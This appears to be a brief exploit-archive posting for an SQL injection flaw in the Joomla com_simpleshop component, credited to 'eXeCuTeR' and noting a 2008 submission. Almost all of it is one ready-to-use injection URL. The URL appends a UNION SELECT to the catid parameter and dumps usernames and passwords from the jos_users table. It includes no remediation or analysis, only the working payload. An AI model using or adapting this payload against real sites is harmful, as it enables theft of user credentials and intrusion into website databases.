++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ @ Joomla ~ option: com_simpleshop ~ SQL Injection ------------------------------------------------------ @ AUTHOR: eXeCuTeR ------------------------------------------------------ ------------------------------------------------------ @ DORK: :\ ------------------------------------------------------ @ Vuln: index.php?option=com_simpleshop&task=browse&Itemid=eXeCuTeR&catid=null%20union%20select%201,concat(username,0x3a,password),3,4,5,6,7,8%20from%20jos_users-- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ~EOF~ side note: but this was sent in back in 02/2008, must of missed it. Original author: eXeCuTeR.